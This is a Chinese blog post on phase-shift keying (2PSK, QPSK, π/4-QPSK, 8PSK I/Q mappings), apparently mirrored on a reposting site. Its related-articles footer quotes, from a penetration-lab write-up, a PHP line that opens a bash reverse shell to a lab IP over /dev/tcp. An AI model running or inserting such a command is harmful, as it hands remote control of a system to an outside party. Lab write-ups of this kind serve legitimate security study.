数字基带之相移键控PSK

news2024/9/22 9:40:33

1 相移键控定义

相移键控是指用载波的相移位变化来传递信号,不改变载波的幅度和频率,可用下面的公式表示。

S_{k}(t)=A(cosw_{0}t+\Theta _{k})=A(cos\Theta _{k}cosw_{0}t-sin\Theta _{k}sinw_{0}t)

 A是载波的幅度,w_{0}是载波的角频率,w_{0}t+\Theta _{k}是载波的瞬时相位,\Theta _{k}是载波的初始相位。如果需要调制的信号为1bit的二进制数,则k=0和1两种情况,\Theta _{0}表示0相位,\Theta _{1}表示\pi相位。

其实相移键控可以用MPSK表示,M代表了k的取值范围,即k的取值范围是0,1,2,……,M-1,M为2的n次幂,n为非零整数,表示输入码元的bit数,对应的PSK为MPSK。如果输入码元为1bit,则对应2PSK,如果输入码元为2bit,则对应为4PSK,以此类推。又可以理解为将2\pi等分成M个等份,每个等份的\Theta =\frac{2\pi }{M}=\frac{2\pi }{2^{n}},如果初相\Theta _{0}为0,则\Theta _{1}=\Theta\Theta _{2}=2\Theta;如果\Theta _{0}=\Theta,则\Theta _{1}=2\Theta。基础为2PSK,常用到的有4PSK,4PSK又称QPSK。下面简单介绍一下2PSK和QPSK。

2 2PSK

2PSK中2表示的是将2\pi分成相等的两份,即相位0和相位\pi,发送信号0时对应的相位为0,发送1时对应的相位为\pi,则2PSK的信号表示如下所示:

S_{0}(t)=A(cosw_{0}t+\Theta _{0})=A(cosw_{0}t)

S_{1}(t)=A(cosw_{0}t+\Theta _{1})=A(cosw_{0}t+\pi )=-A(cosw_{0}t)

同一时刻只能表示1bit数据,要么是0,要么是1。如果有一组待发送的码元均是1bit为0 1 1 0 0 0 1 1,则对应的2PSK调制后的波形如下图所示:

1

注:这里输入的码元s(t)是二进制不归零双极性码,关于不同码型的介绍在后续笔记中介绍。

2PSK的调制方式可以用以下两种方式,第一种可以理解为相干调制,第二种方法为键控法。

相干调制

键控法

2PSK的解调方法如下图所示,这也叫做相干解调。

由于在解调过程中需要用到与调制时相同的载波,即指载波的频率和相位相同。由于2PSK的载波恢复存在180^{o}的相位模糊问题,会导致解调出来的信号存在“倒\pi现象”。为解决“倒\pi现象”提出了DPSK(差分相移键控),这个在后续笔记中介绍。

关于相位模糊的介绍详见后续笔记。

关于载波恢复(也可叫做载波提取)的介绍也在后面整理的笔记中介绍。

3 QPSK

QPSK又是4PSK,按照定义来说是将2\pi等分成4份,则包含\Theta _{0}\Theta _{1}\Theta _{2}\Theta _{3}四个相位,这四个相位可以取0,\frac{\pi }{2}\pi\frac{3\pi }{2},也可以取\frac{\pi }{4}\frac{3\pi }{4}\frac{5\pi }{4}\frac{7\pi }{4},当然也可以取其它的,需要满足相邻相位差为\frac{\pi }{2}。QPSK对应的是2bit的码元,如00,10,11,01这样的码元序列。按0,\frac{\pi }{2}\pi\frac{3\pi }{2}相位表示,则他们对应的信号表示如下所示:

S_{00}(t)=A(cosw_{0}t)

S_{01}(t)=A(cosw_{0}t+\frac{\pi }{2})=-Asinw_{0}t

S_{10}(t)=A(cosw_{0}t+\pi )=-A(cosw_{0}t)

S_{11}(t)=A(cosw_{0}t+\frac{3\pi }{2})=Asinw_{0}t

波形表示如下所示:

以上的码型对应的相位是按照常规的码型方式来处理的,当然也可以按照格雷码的形式来调制,也就是00,01,11,10分别对应了0,\frac{\pi }{2}\pi\frac{3\pi }{2}相位(这样的对应关系不是固定的,只要满足相邻相位差为\frac{\pi }{2}即可)。采用格雷码的方式可以使总的误比特率降低(后面有时间再补充)。

QPSK调制框图如下所示:

上面的串并转换只是将串行输入的1bit信号转换成并行的两bit,转换后的两bit的时间长度和串行两bit的时间长度相等,即并行后的码元速率为串行码元的一半,如下图所示,每个序号均表示1bit信号。输入的1bit信号为二进制不归零双极性码,普通二进制码对应的不归零双极性码如下:

二进制码元1——>双极性码+1

二进制码元0——>双极性码-1

如果要实现将串行输入信号按格雷码进行调制,则可以在串行转换模块后加一个码型变换模块实现将普通二进制码转换成格雷码,结构框图如下图所示。

QPSK解调框图如下所示:

4 四分之π相移QPSK

该调制方式是由两个相差\frac{\pi}{4}的QPSK交替产生的,下图给出两个相差\frac{\pi}{4}的QPSK的矢量图和星座图,如果第一个图为第一个、第三个码元的星座图,第二个图为第二个、第四个码元的星座图,根据码元顺序以此类推,则可以给出码元11 11 01 01 10 10 00 10 11对应的码元相位为:\pi\pi+\frac{\pi}{4}\frac{3\pi}{2}\frac{3\pi}{2}+\frac{\pi}{4}\frac{\pi}{2}\frac{\pi}{2}+\frac{\pi}{4}、0、\frac{\pi}{2}+\frac{\pi}{4}\pi

 两个相差\frac{\pi}{4}的QPSK的矢量图

         

两个相差\frac{\pi}{4}的QPSK的星座图

5 PSK的隐含条件和几点理解

(1)每个码元中应该包含整数个载波周期,这样初始相位相同的相邻码元的瞬时相位才会在码元边界处连续。因为在码元边界处相位不连续会导致信号的频谱展宽,包络出现起伏。(这个后面补充波形)

(2)根据MPSK的表达式S_{k}(t)=A(cosw_{0}t+\Theta _{k})=A(cos\Theta _{k}cosw_{0}t-sin\Theta _{k}sinw_{0}t),令A=1,MPSK的调制框图都可以用下图表示,这里的a支路代表的是I路信号,即cos\Theta _{k},b支路代表的是Q路信号,即sin\Theta _{k}

(3)无论输入到调制电路的信号经过了什么样的处理,它始终都是0和1组成的二进制码流,无论这个二进制码流是否需要进行串并转换或者码型变换,都不能直接用于乘法电路和相干载波进行运算,用QPSK举例说明如下(按常规二进制码和相位0,\frac{\pi }{2}\pi\frac{3\pi }{2}的对应关系):

输入码流a支路b支路错误的s(t)正确的s(t)
00000cosw_{0}t
0101-sinw_{0}tsinw_{0}t
1010cosw_{0}t-cosw_{0}t
1111cosw_{0}t-sinw_{0}t-sinw_{0}t

所以a/b支路不是直接将输入bit流乘以载波,况且非QPSK时直接将bit流分到a/b支路是有问题的。正确的理解是:需要将输入bit流转换成相应的I/Q信号后再和载波相乘相加输出。

(4)二进制bit流对应的I/Q信号转换理论上可以从PSK公式上找到,下面用QPSK和8PSK作说明:

下表为QPSK,对应的相位矢量如下图: 

输入码元\Theta _{k}IQ
00010
01\frac{\pi}{2}0-1
10\pi-10
11\frac{3\pi}{2}01

 下表为8PSK,对应相位矢量如下图所示:

输入码元\Theta _{k}IQ
000010
001\frac{\pi}{4}\frac{sqrt(2)}{2}\frac{sqrt(2)}{2}
010\frac{2\pi}{4}01
011\frac{3\pi}{4}-\frac{sqrt(2)}{2}\frac{sqrt(2)}{2}
100\frac{4\pi}{4}-10
101\frac{5\pi}{4}-\frac{sqrt(2)}{2}-\frac{sqrt(2)}{2}
110\frac{6\pi}{4}0-1
111\frac{7\pi}{4}\frac{sqrt(2)}{2}-\frac{sqrt(2)}{2}

这点里提到的都是理论推理,但在实际数字硬件电路里怎么实现的还没搞明白,后续再补充吧……

笔记先整理在这里,后续再继续补充。欢迎各大网友发现笔记里理解不对的地方,帮忙批评指正,先谢过了……

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2154760.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

spark读取数据性能提升

1. 背景 spark默认的jdbc只会用单task读取数据,读取大数据量时,效率低。 2. 解决方案 根据分区字段,如日期进行划分,增加task数量提升效率。 /*** 返回每个task按时间段划分的过滤语句* param startDate* param endDate* param …

[Web安全 网络安全]-CSRF跨站请求伪造

文章目录: 一:前言 1.定义 2.攻击原理 3.危害 4.环境 4.1 靶场 4.2 扫描工具 5.cookie session token的区别 6.CSRF与XSS的区别 二:构建CSRF的payload GET请求:a标签 img标签 POST请求:form表单 三&…

Prime1 靶机渗透 ( openssl 解密 ,awk 字符串处理,信息收集)

简介 Prime1 的另一种解法 起步 从初级shell开始 反弹 shell 路径 http://192.168.50.153/wordpress/wp-content/themes/twentynineteen/secret.php 其内的 shell 为 <?php eval("/bin/bash -c bash -i >& /dev/tcp/192.168.50.147/443 0>&1"…

【linux】nice命令

Linux中的nice命令是一个强大的工具&#xff0c;用于调整进程的优先级&#xff0c;进而影响它们在CPU上的资源分配和执行顺序。以下是关于nice命令的详细解释&#xff0c;包括其用途、语法、参数、示例以及使用建议。 一、用途 nice命令主要用于控制进程在CPU上的调度优先级&…

Springboot3 + MyBatis-Plus + MySql + Uniapp 实现商品规格选择sku(附带自设计数据库,最新保姆级教程)

Springboot3 MyBatis-Plus MySql Uniapp 实现商品规格选择sku&#xff08;附带自设计数据库&#xff0c;最新保姆级教程&#xff09; 1、效果展示2、数据库设计2.1 商品表2.2 商品价格和规格中间表2.3 商品规格表 3、后端代码3.1 model3.2 vo3.3 mapper、server、serverImp3…

DNS是什么?怎么设置

NS是什么意思?有什么用呢?专业的说DNS就是域名系统 (Domain Name System)的简称&#xff0c;也就是IT人士常说的域名解析系统。主要是让用户在互联网上通过域名找到域名对应的IP地址&#xff0c;因为IP地址都是一串数字(例如&#xff1a;192.168.0.1)不方便记忆&#xff0c;便…

华为全联接大会HUAWEI Connect 2024印象(一):OpenEuler

因为和华为有课程合作&#xff0c;此次应邀参加了华为全联接大会 &#xff08;HUAWEI Connect 2024&#xff09;&#xff0c;分几次分享一下自己的见闻。 HUAWEI Connect 2024的规模很大&#xff0c;不过主要面向的应该是企业市场&#xff0c;我比较关注的嵌入式系统的内容很少…

学习笔记——RegNet:Designing Network Design Spaces

RegNet&#xff1a;Designing Network Design Spaces RegNet&#xff1a;设计一个网络设计空间 论文地址&#xff1a; https://arxiv.org/pdf/2003.13678 1、前言 在这项工作中&#xff0c;作者提出了一种新的网络设计范例。 作者的目标是帮助增进对网络设计的理解并发现跨设置…

Stable Diffusion Fooocus批量绘图脚本

当当当挡~&#xff0c;流动传热数值计算之余发布点AIGC相关文章&#xff0c;希望大家能喜欢~ 1 Stable Diffusion各种UI分析对比 提示&#xff1a;此部分主要是对SD各种界面的简要介绍和对比&#xff0c;只关注Fooocus批量绘图的读者可直接跳到第二部分。 Stable Diffusion …

进程间的通信4 共享内存

共享内存 1.共享内存简介 共享内存是将分配的物理空间直接映射到进程的用户虚拟地址空间中&#xff0c;减少数据在内核空间缓存共享内存是一种效率较高的进程间通讯的方式在 Linux 系统中通过 ipcs -m 查看所有的共享内存 共享内存模型图 2.共享内存的创建 1.函数头文件 #…

【6DRepNet360全范围头部姿态估计onnxruntime推理】

6DRepNet360全范围头部姿态估计 标题摘要关键词主要贡献方法概述实验结论模型转换和onnxruntime推理模型和代码下载可视化结果代码 这篇论文的核心内容是关于一种用于全范围旋转头部姿态估计的新方法。以下是关键点的总结&#xff1a; 标题 Towards Robust and Unconstrained…

输电线路数据集

输电线路数据集&#xff08;绝缘子自爆&#xff0c;破损&#xff0c;闪络&#xff0c;鸟巢&#xff0c;防震锤脱落五种缺陷&#xff09; 包括 1.绝缘子自爆 2.绝缘子破损绝、闪络 3.鸟巢 4.防震锤脱落 数据增强后的数量 对应数量&#xff1a;1828&#xff0c;1467&#xff0c;4…

【Godot4.3】剪贴板相关以及粘贴截图

概述 Godot4.3中更新了一些关于剪贴板的方法&#xff0c;获取图片赫然在列&#xff0c;这意味着可以在自己的应用中创建诸如粘贴截图的功能。 这些方法被包含在DisplaySever单例中&#xff0c;有兴趣的戈友可以自己去翻一下文档。或许可以实现Godot版本的屏幕截图工具。 相关…

Java | Leetcode Java题解之第414题第三大的数

题目&#xff1a; 题解&#xff1a; class Solution {public int thirdMax(int[] nums) {Integer a null, b null, c null;for (int num : nums) {if (a null || num > a) {c b;b a;a num;} else if (a > num && (b null || num > b)) {c b;b num;…

Maven笔记(二):进阶使用

Maven笔记&#xff08;二&#xff09;-进阶使用 一、Maven分模块开发 分模块开发对项目的扩展性强&#xff0c;同时方便其他项目引入相同的功能。 将原始模块按照功能拆分成若干个子模块&#xff0c;方便模块间的相互调用&#xff0c;接口共享(类似Jar包一样之间引用、复用)…

【LLM学习之路】9月16日 第六天

【LLM学习之路】9月16日 第六天 损失函数 L1Loss 可以取平均也可以求和 参数解析 input &#xff08;N&#xff0c;*&#xff09; N是batchsize&#xff0c;星号代表可以是任意维度 不是输入的参数&#xff0c;只是描述数据 target 形状要同上 MSELoss平方差 CrossEntr…

物理学基础精解【7】

文章目录 平面方程直角坐标及基本运算 参考文献 平面方程 直角坐标及基本运算 向量的四则运算 下面由文心一言自动生成 向量的四则运算主要包括加法、减法、数乘&#xff08;标量乘法&#xff09;和数量积&#xff08;点积或内积&#xff09;&#xff0c;但通常不直接称为“除…

python sql中带引号字符串(单双引号)转义处理

描述&#xff1a; 最近在爬取数据保存到数据库时&#xff0c;遇到有引号的字符串插入MySQL报错&#xff1a;1064, "You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 转义字符串…

线程(三) 线程的互斥

文章目录 线程线程的同步和互斥线程同步线程互斥为什么要使用线程互斥什么是线程同步示例--线程操作共享资源引发问题 线程互斥--互斥锁示例--使用互斥锁来保证取款操作 互斥锁的属性示例--创建不同的属性的互斥锁后进行加锁操作 线程互斥--读写锁示例--对读写锁进行使用以观察…

鸿蒙【项目打包】- .hap 和 .app;(测试如何安装发的hap包)(应用上架流程)

#打包成.hap需要用到真机 原因是&#xff1a;只有用上了真机才能在项目中配置 自动签名 #步骤: ##第一步:选择真机->选择项目结构->点Sigining Configs(签名配置) ##第二步:勾选Automatically generate signature(自动签名)->点击ok ##第三步:点击构建->点击 …